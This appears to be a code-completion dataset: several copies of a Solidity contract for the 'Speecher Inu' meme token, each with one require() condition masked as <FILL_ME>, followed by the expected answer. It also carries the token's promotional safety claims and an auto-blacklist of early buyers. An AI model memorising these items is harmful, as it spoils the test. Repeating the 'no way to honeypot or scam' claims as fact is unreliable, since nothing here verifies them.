private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { require(_msgSender() == owner() || _msgSender() == ecosystemWallet, "Token: caller is not authorised"); require(botAddresses_.length > 0 && botAddresses_.length <= 200, "Token: number of bot addresses cannot be above 200"); if (isBlacklisting_ && _tradingEnabled) { require(<FILL_ME>) } for (uint256 i = 0; i < botAddresses_.length; i++) { if (isBlacklisting_ && (botAddresses_[i] == owner() || botAddresses_[i] == address(this) || botAddresses_[i] == address(0xdead) || botAddresses_[i] == dexPair || botAddresses_[i] == address(dexRouter))) continue; if (_bots[botAddresses_[i]] == isBlacklisting_) continue; _bots[botAddresses_[i]] = isBlacklisting_; if (isBlacklisting_) { totalBots++; } else { totalBots--; } } } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
block.timestamp<=(_launchTime+(10minutes)),"Token: bots can only be blacklisted within the first 10 minutes from launch"
196,290
block.timestamp<=(_launchTime+(10minutes))
"Token: address blacklisted"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Token: transfer amount must be greater than zero"); // Anti-bot if (antiBotEnabled) { require(<FILL_ME>) } // Trading enabled if (!_tradingEnabled) { require(isExcludedFromFees(from) || isExcludedFromFees(to), "Token: trading not yet enabled"); } if (limitsEnabled && !_isSwapLocked && from != owner() && to != owner() && to != address(0) && to != address(0xdead)) { // Blacklist bots by timestamp & block if ((block.timestamp <= (_launchTime + _botSeconds) || block.number <= (_launchBlock + _botBlocks)) && to != address(this) && to != dexPair && to != address(dexRouter)) { _bots[to] = true; totalBots++; } // Prevent multiple transfers in specified blocks if (transferDelayEnabled && from != address(this) && to != dexPair && to != address(dexRouter)) { require(_lastTransferBlock[tx.origin] < (block.number - _transferDelayBlocks) && _lastTransferBlock[to] < (block.number - _transferDelayBlocks), "Token: transfer delay enabled"); _lastTransferBlock[tx.origin] = block.number; _lastTransferBlock[to] = block.number; } // Max TX and max wallet if (from == dexPair && !isExcludedFromMaxTx(to)) { // Buy require(amount <= _maxTxAmount, "Token: buy amount exceeds max TX limit"); require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } else if (to == dexPair && !isExcludedFromMaxTx(from)) { // Sell require(amount <= _maxTxAmount, "Token: sell amount exceeds max TX limit"); } else if (!isExcludedFromMaxTx(to)) { // Transfer require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } } // Swap contract tokens, add liquidity, then distribute if (swapEnabled && !_isSwapLocked && balanceOf(address(this)) > swapTokensAmount && from != dexPair && !isExcludedFromFees(from) && !isExcludedFromFees(to)) { _swapLiquify(swapTokensAmount); } bool deductFees = !_isSwapLocked; // Omit fees for excluded addresses if (isExcludedFromFees(from) || isExcludedFromFees(to) || to == address(dexRouter)) { deductFees = false; } uint256 totalAmount = amount; uint256 totalFees = 0; // Take fees on buys/sells, not wallet transfers if (deductFees) { if (to == dexPair && sellTotalFees > 0) { // Sell totalFees = (totalAmount * sellTotalFees) / 100; _tokensForTreasury += (totalFees * sellTreasuryFee) / sellTotalFees; _tokensForLiquidity += (totalFees * sellLiquidityFee) / sellTotalFees; _tokensForEcosystem += (totalFees * sellEcosystemFee) / sellTotalFees; } else if (from == dexPair && buyTotalFees > 0) { // Buy totalFees = (totalAmount * buyTotalFees) / 100; _tokensForTreasury += (totalFees * buyTreasuryFee) / buyTotalFees; _tokensForLiquidity += (totalFees * buyLiquidityFee) / buyTotalFees; _tokensForEcosystem += (totalFees * buyEcosystemFee) / buyTotalFees; } if (totalFees > 0) { super._transfer(from, address(this), totalFees); totalAmount -= totalFees; } } super._transfer(from, to, totalAmount); } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
!_bots[to]&&!_bots[from],"Token: address blacklisted"
196,290
!_bots[to]&&!_bots[from]
"Token: trading not yet enabled"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Token: transfer amount must be greater than zero"); // Anti-bot if (antiBotEnabled) { require(!_bots[to] && !_bots[from], "Token: address blacklisted"); } // Trading enabled if (!_tradingEnabled) { require(<FILL_ME>) } if (limitsEnabled && !_isSwapLocked && from != owner() && to != owner() && to != address(0) && to != address(0xdead)) { // Blacklist bots by timestamp & block if ((block.timestamp <= (_launchTime + _botSeconds) || block.number <= (_launchBlock + _botBlocks)) && to != address(this) && to != dexPair && to != address(dexRouter)) { _bots[to] = true; totalBots++; } // Prevent multiple transfers in specified blocks if (transferDelayEnabled && from != address(this) && to != dexPair && to != address(dexRouter)) { require(_lastTransferBlock[tx.origin] < (block.number - _transferDelayBlocks) && _lastTransferBlock[to] < (block.number - _transferDelayBlocks), "Token: transfer delay enabled"); _lastTransferBlock[tx.origin] = block.number; _lastTransferBlock[to] = block.number; } // Max TX and max wallet if (from == dexPair && !isExcludedFromMaxTx(to)) { // Buy require(amount <= _maxTxAmount, "Token: buy amount exceeds max TX limit"); require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } else if (to == dexPair && !isExcludedFromMaxTx(from)) { // Sell require(amount <= _maxTxAmount, "Token: sell amount exceeds max TX limit"); } else if (!isExcludedFromMaxTx(to)) { // Transfer require(amount + balanceOf(to) <= _maxWalletAmount, "Token: amount would exceed max wallet limit"); } } // Swap contract tokens, add liquidity, then distribute if (swapEnabled && !_isSwapLocked && balanceOf(address(this)) > swapTokensAmount && from != dexPair && !isExcludedFromFees(from) && !isExcludedFromFees(to)) { _swapLiquify(swapTokensAmount); } bool deductFees = !_isSwapLocked; // Omit fees for excluded addresses if (isExcludedFromFees(from) || isExcludedFromFees(to) || to == address(dexRouter)) { deductFees = false; } uint256 totalAmount = amount; uint256 totalFees = 0; // Take fees on buys/sells, not wallet transfers if (deductFees) { if (to == dexPair && sellTotalFees > 0) { // Sell totalFees = (totalAmount * sellTotalFees) / 100; _tokensForTreasury += (totalFees * sellTreasuryFee) / sellTotalFees; _tokensForLiquidity += (totalFees * sellLiquidityFee) / sellTotalFees; _tokensForEcosystem += (totalFees * sellEcosystemFee) / sellTotalFees; } else if (from == dexPair && buyTotalFees > 0) { // Buy totalFees = (totalAmount * buyTotalFees) / 100; _tokensForTreasury += (totalFees * buyTreasuryFee) / buyTotalFees; _tokensForLiquidity += (totalFees * buyLiquidityFee) / buyTotalFees; _tokensForEcosystem += (totalFees * buyEcosystemFee) / buyTotalFees; } if (totalFees > 0) { super._transfer(from, address(this), totalFees); totalAmount -= totalFees; } } super._transfer(from, to, totalAmount); } function _swapLiquify(uint256 tokensAmount) private lockSwap { } function _swapTokensForCurrency(uint256 tokensAmount) private { } function _addLiquidity(uint256 tokensAmount, uint256 currencyAmount) private { } receive() external payable {} }
isExcludedFromFees(from)||isExcludedFromFees(to),"Token: trading not yet enabled"
196,290
isExcludedFromFees(from)||isExcludedFromFees(to)
"Token: transfer delay enabled"
// SPDX-License-Identifier: MIT /** * SPEECHER Inu * ================================================== * * "Ultimately, saying that you don't care about privacy because you have nothing to hide is no * different from saying you don't care about freedom of speech because you have nothing to say" * - Edward Snowden, Permanent Record * * SPEECHER celebrates the forthcoming victory for freedom of speech plus the spirit of decentralization * and community through releasing a safe, lower trade tax token whose Treasury funds are spent according * to community suggestions received via tweet replies. * * SPEECHER is entirely run from that digital town called Twitter. Once there, to say hi, hit Reply. * * However, if anyone wishes to create a SPEECHER Telegram group, simply send us the link via Twitter and * we'll gladly announce its existence. * * Twitter: https://twitter.com/_SPEECHER * * Elon's latest tweet, which couldn't be finer: https://twitter.com/elonmusk/status/1519036983137509376 * * Tokenomics * ================================================== * * With No.8 symbolising infinite perfection, SPEECHER's tokenomics came to pass: * * BUY & SELL * * Treasury: 3% * Auto Liquidity: 1% * Ecosystem: 4% * * Total Per Swap: 8% * * Trade Settings * ================================================== * * Max Transaction: 750000 / 0.75% * Max Wallet: 1000000 / 1% * * Limits shall be lifted shortly after launch. * * Wallet to wallet transfers are not subject to tax. * * Security & Transparency * ================================================== * * This contract was built with safety in mind: * * The contract is renounced soon after launch but any contract configuration settings accessible before * were built to be safe too; liquidity is locked for two weeks then soon extended; the trade tax cannot * be altered (hardcoded); the Max Transaction cannot be lowered, only increased; the Max Wallet cannot * be lowered, only increased; bots/addresses cannot be blacklisted 10 minutes past launch, plus only * non-critical addresses can be blacklisted; no team tokens or preloaded wallets aka a fair launch. * * In short, there is no technical way to honeypot or scam, and no possibility to rug once liquidity is * locked. But don't trust our words alone, seek outside opinions to verify and reassure. * * For complete separation of concerns and full transparency, the Treasury and Ecosystem funds have * their own separate wallets, which are: * * Treasury: 0x0182ec9758175F72b70546213321E6111470Dc5f * Ecosystem: 0x034e690237b5ce205EcA4a4e40A3a2a76587aA2D * * The Twitter community decide how Treasury funds are spent e.g. donations to good causes. * * Ecosystem funds are allocated to any marketing and team payments. * * Let the good times tweet. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { } function name() public view virtual override returns (string memory) { } function symbol() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function totalSupply() public view virtual override returns (uint256) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address to, uint256 amount) public virtual override returns (bool) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { } function _transfer(address from, address to, uint256 amount) internal virtual { } function _mint(address account, uint256 amount) internal virtual { } function _burn(address account, uint256 amount) internal virtual { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function _transferOwnership(address newOwner) internal virtual { } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract SpeecherInu is Context, ERC20, Ownable { // DEX IDexRouter public dexRouter; address public dexPair; // Wallets address public treasuryWallet; address public ecosystemWallet; // Trade settings bool public swapEnabled = false; bool public limitsEnabled = false; bool private _tradingEnabled = false; bool public transferDelayEnabled = true; uint256 private _transferDelayBlocks = 2; mapping(address => uint256) private _lastTransferBlock; uint256 private _maxTxAmount; uint256 private _maxWalletAmount; uint256 public swapTokensAmount; // Trade tax uint256 public buyTreasuryFee = 3; uint256 public buyLiquidityFee = 1; uint256 public buyEcosystemFee = 4; uint256 public buyTotalFees = buyTreasuryFee + buyLiquidityFee + buyEcosystemFee; uint256 public sellTreasuryFee = 3; uint256 public sellLiquidityFee = 1; uint256 public sellEcosystemFee = 4; uint256 public sellTotalFees = sellTreasuryFee + sellLiquidityFee + sellEcosystemFee; uint256 private _tokensForTreasury = 0; uint256 private _tokensForLiquidity = 0; uint256 private _tokensForEcosystem = 0; // Fees and max TX exclusions mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedFromMaxTx; // Anti-bot bool public antiBotEnabled = true; mapping(address => bool) private _bots; uint256 private _launchTime = 0; uint256 private _launchBlock = 0; uint256 private _botBlocks = 1; uint256 private _botSeconds = 10; uint256 public totalBots = 0; // Reentrancy bool private _isSwapLocked = false; modifier lockSwap { } constructor(address treasuryWallet_, address ecosystemWallet_) payable ERC20("Speecher Inu", "SPEECHER") { } function speak(uint256 botBlocks_, uint256 botSeconds_, uint256 maxTxAmount_, uint256 maxWalletAmount_, address[] memory botAddresses_) external onlyOwner { } function setTreasuryWallet(address treasuryWallet_) public onlyOwner { } function setEcosystemWallet(address ecosystemWallet_) public onlyOwner { } function disableLimits() external onlyOwner { } function disableTransferDelay() external onlyOwner { } function setMaxTxAmount(uint256 maxTxAmount_) public onlyOwner { } function setMaxWalletAmount(uint256 maxWalletAmount_) public onlyOwner { } function setSwapTokensAmount(uint256 swapTokensAmount_) public { } function excludeFromFees(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromFees(address excludeAddress_) public view returns (bool) { } function excludeFromMaxTx(address excludeAddress_, bool isExcluded_) public onlyOwner { } function isExcludedFromMaxTx(address excludeAddress_) public view returns (bool) { } function setAntiBotEnabled(bool antiBotEnabled_) external { } function setBots(address[] memory botAddresses_, bool isBlacklisting_) public { } function isBot(address botAddress_) public view returns (bool) { } function forceSwap(uint256 tokensAmount_) external { } function withdrawCurrency() external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Token: transfer amount must be greater than zero"); // Anti-bot if (antiBotEnabled) { require(!_bots[to] && !_bots[from], "Token: address blacklisted"); } // Trading enabled if (!_tradingEnabled) { require(isExcludedFromFees(from) || isExcludedFromFees(to), "Token: trading not yet enabled"); } if (limitsEnabled && !_isSwapLocked && from != owner() && to != owner() && to != address(0) && to != address(0xdead)) { // Blacklist bots by timestamp & block if ((block.timestamp <= (_launchTime + _botSeconds) || block.number <= (_launchBlock + _botBlocks)) && to != address(this) && to != dexPair && to != address(dexRouter)) { _bots[to] = true; totalBots++; } // Prevent multiple transfers in specified blocks if (transferDelayEnabled && from != address(this) && to != dexPair && to != address(dexRouter)) { require(<FILL_ME>) 